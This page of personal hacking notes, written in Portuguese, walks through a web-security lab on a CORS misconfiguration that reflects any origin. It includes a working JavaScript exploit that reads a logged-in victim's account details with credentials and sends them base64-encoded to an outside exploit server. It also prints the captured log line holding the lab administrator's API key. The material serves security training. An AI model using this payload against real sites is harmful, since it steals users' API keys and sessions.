> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-basic-origin-reflection.md).

# Reflexão Básica de Origin em CORS

### Vulnerabilidade de CORS com reflexão básica de origem

Usando uma configuração de CORS excessivamente permissiva (o servidor confia em qualquer origem) para recuperar a chave da API do administrador por meio de uma consulta entre origens com `credenciais` e enviar a resposta para o nosso servidor de exploração. O exercício é resolvido quando a chave da API do administrador é enviada para o servidor de exploração.

<figure><img src="/files/cc8866bb0d048df980e257cefbf63994990d9102" alt=""><figcaption></figcaption></figure>

* Credenciais fornecidas para conexão: `wiener:peter`.
* O código do lado da página recupera a chave da API de `/accountDetails` e exibe:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/5d6dbebe856a1978eed0904c9d53af1b66e9b6db" alt=""><figcaption></figcaption></figure>

Os cabeçalhos indicam `Access-Control-Allow-Credentials: true` (o servidor aceita solicitações com cookies/credenciais).

<figure><img src="/files/4e9c8d411d86de01d991317bdc459cf662c2659f" alt=""><figcaption></figcaption></figure>

* Ao testar uma consulta com o `Origin: jord4n.pro` cabeçalho, a resposta é retornada (a origem refletida é aceita).

```javascript
Origin: jord4n.pro
```

* O servidor reflete/permite a origem enviada, então uma página controlada pelo atacante pode realizar uma `XMLHttpRequest`  ou `fetch` para `/accountDetails` incluindo os cookies da vítima (`withCredentials = true`) e recuperar a resposta JSON contendo a chave da API.

<figure><img src="/files/4d8e60960b1b35e70e0f55c5bdf648fecbfd5241" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/06ef728e2b7d92937c126d76bf3c1027b2e39ba0" alt="" width="483"><figcaption></figcaption></figure>

Assim que a resposta for lida, ela pode ser transmitida ao servidor (por exemplo, codificando em base64) para coleta.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/e30dd1833f104d162aae8ccc14a201c2a6b27c64" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

O servidor em operação recebeu uma consulta GET contendo a resposta codificada, por exemplo:

<figure><img src="/files/bbf170b18d774604da9c920643de226c92b6bc36" alt=""><figcaption></figcaption></figure>


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